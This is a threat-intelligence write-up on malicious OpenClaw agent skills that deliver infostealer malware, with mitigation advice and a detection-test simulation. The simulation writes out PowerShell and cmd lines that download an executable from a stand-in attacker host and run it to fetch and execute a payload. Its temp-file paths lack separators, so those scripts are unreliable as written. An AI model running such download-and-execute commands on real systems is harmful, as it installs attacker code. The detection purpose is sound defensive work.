From Automation to Infection: How OpenClaw AI Agent Skills Are Being Weaponized

Summary

The article explains how malicious OpenClaw skills are being used as a malware delivery mechanism for users of the self-hosted AI agent platform. Threat actors publish skills that appear harmless but ultimately guide victims into downloading and running attacker-controlled binaries from external sources. Observed payloads include Windows executables and macOS Mach-O files that have been identified as variants of the Atomic Stealer infostealer family. This activity introduces a practical supply-chain risk for personal and developer workstations that rely on community-provided skills.

Investigation

VirusTotal Code Insight reviewed more than three thousand OpenClaw skills and surfaced hundreds that exhibited malicious or high-risk behavior. In one example, a skill uploaded by hightower6eu provided step-by-step instructions to download a password-protected ZIP archive from GitHub (password: openclaw) and execute openclaw-agent.exe on Windows. On macOS, the same skill directed users to retrieve a Base64-encoded script from glot.io, which then downloaded a Mach-O executable for execution. The resulting binaries were detected by multiple security engines as trojanized infostealers.

Mitigation

Treat skill repositories as untrusted code and run OpenClaw in a sandboxed or tightly constrained environment. Avoid pasting commands from skill descriptions and do not execute binaries retrieved from unverified external links. For marketplace and community operators, implement publish-time scanning focused on remote download behavior, obfuscated script logic, and indicators of credential theft or data exfiltration. In enterprise settings, educate users on the risks of installing community-built skills and require review before use.

Response

Hunt for OpenClaw skill packages that reference external download URLs, password-protected archives, or encoded command stagers. Alert on execution of unknown binaries named openclaw-agent.exe and on suspicious Mach-O launches that follow scripted download activity. Block connectivity to known malicious domains and isolate impacted systems for forensic triage to confirm whether infostealer execution and credential exposure occurred.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An attacker has gained initial access to a victim workstation and drops the malicious binary openclaw-agent.exe into the user’s temporary directory. The binary is executed with a command line that explicitly contains the keywords download and execute to pull additional payloads from an untrusted C2 server and run them in memory. The attacker uses a standard Windows command prompt to avoid PowerShell‑specific detections, thereby matching the Sigma rule’s expectations.

  1. Drop the payload:

     $malPath = "$env:TEMPopenclaw-agent.exe"
     Invoke-WebRequest -Uri "http://malicious.example.com/openclaw-agent.exe" -OutFile $malPath

  2. Execute with suspicious arguments:

     "%TEMP%openclaw-agent.exe" download http://malicious.example.com/payload.bin execute

  3. The agent contacts the C2 server, downloads payload.bin, writes it to disk, and launches it, all while the original process command line still contains the trigger words.

• Regression Test Script:

  # -----------------------------------------------------------------------
  # OpenClaw Agent Execution Simulation – triggers Sigma detection
  # -----------------------------------------------------------------------
  # 1. Download the malicious agent (simulated with a harmless file)
  $agentUrl   = "https://github.com/microsoft/PowerShell/releases/download/v7.4.0/powershell-7.4.0-win-x64.msi"  # placeholder benign file
  $agentPath  = "$env:TEMPopenclaw-agent.exe"
  Invoke-WebRequest -Uri $agentUrl -OutFile $agentPath
  
  # 2. Execute the agent with the expected command‑line keywords
  $cmd = "`"$agentPath`" download http://malicious.example.com/payload.bin execute"
  Write-Host "Executing: $cmd"
  Start-Process -FilePath $agentPath -ArgumentList "download http://malicious.example.com/payload.bin execute" -NoNewWindow -Wait
  
  # 3. Optional: Simulate the payload download (harmless stub)
  $payloadUrl = "https://raw.githubusercontent.com/EbookFoundation/free-programming-books/master/books/free-programming-books.md"
  $payloadPath = "$env:TEMPpayload.bin"
  Invoke-WebRequest -Uri $payloadUrl -OutFile $payloadPath
  
  Write-Host "Simulation complete. Check SIEM for detection."

• Cleanup Commands:

  # Remove all artifacts created during the simulation
  $paths = @(
      "$env:TEMPopenclaw-agent.exe",
      "$env:TEMPpayload.bin"
  )
  foreach ($p in $paths) {
      if (Test-Path $p) {
          Remove-Item -Path $p -Force
          Write-Host "Deleted $p"
      }
  }